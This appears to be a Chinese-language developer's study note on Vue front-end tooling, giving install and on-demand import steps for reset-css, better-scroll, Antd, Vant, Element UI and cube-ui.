- 使用路由守卫,拦截路由回退,当从详情页跳转到其他非详情页面时并且是回退按钮,删除当前详情页面的历史记录
其他
reset-css
reset-css 是一种样式清除模块,清除默认样式 替代 *{margin:0,padding:0}等工作
安装 yarn add reset-css
- js
// 在main.js入口文件中 引入 import "reset-css";
better-scroll
BetterScroll 是一款重点解决移动端各种滚动场景需求的开源插件,适用于滚动列表、选择器、轮播图、索引列表、开屏引导等应用场景。
- 盒子要求
- 外小 内大 使用溢出隐藏
overflow:hidden;
- 外小 内大 使用溢出隐藏
// 两种安装选择
npm install better-scroll -S # 安装带有所有插件的 BetterScroll
npm install @better-scroll/core # 核心滚动,大部分情况可能只需要一个简单的滚动
// 两种引入使用
import BetterScroll from 'better-scroll'
let bs = new BetterScroll('.wrapper', {
movable: true,
zoom: true
})
import BScroll from '@better-scroll/core'
let bs = new BScroll('.wrapper', {})
vue-devtools
vue 控制台工具,可以直接打开组件指定的文件
UI 框架
Antd
如何实现 slot-scope 传参的
html<!-- 获取文本数据使用text,当前行数据record,索引index --> <template slot="hsRoundsName" slot-scope="text, record"> <a class="btn entrance" @click="handleSee(record)" :title="text" >{{ text }</a > </template>
Vant UI
Vue 2 项目,安装 Vant 2: npm i vant@latest-v2 -S
下载插件,实现自动按需引入
- # 安装插件 npm i babel-plugin-import -D
js// 对于使用 babel7 的用户,可以在 babel.config.js 中配置 module.exports = { plugins: [ ['import', { libraryName: 'vant', libraryDirectory: 'es', style: true }, 'vant'] ] }; // 接着你可以在代码中直接引入 Vant 组件 // 插件会自动将代码转化为按需引入形式 import { Button,... } from 'vant';
对需要使用的 UI 组件进行统一管理
- 在 src 文件夹下新建 VantUI 文件夹,增加 index.js 文件
js// 统一管理使用的VantUI组件 使用什么就将组件在这里引入 import Vue from 'vue'; import { Button } from 'vant'; import "vant/lib/button/style"; Vue.use(Button); ....
- 在入口文件 main.js 引入该文件 实现全局可用
import './VantUI/index.js'
其他内容依据官方文档使用即可
Element UI
- js
// 下载 element-ui yarn add element-ui -S // 下载 babel-plugin-component 进行按需引入 npm install babel-plugin-component -D // 在 .babel 或 babel.config.js 中添加如下内容 { "presets": [["es2015", { "modules": false }]], "plugins": [ [ "component", { "libraryName": "element-ui", "styleLibraryName": "theme-chalk" } ] ] } // 在main.js入口文件中 引入配置。。。。。 // 详细查看 VantUI的引入 ........
cube-ui
- 按需引入与 vantui 用法一致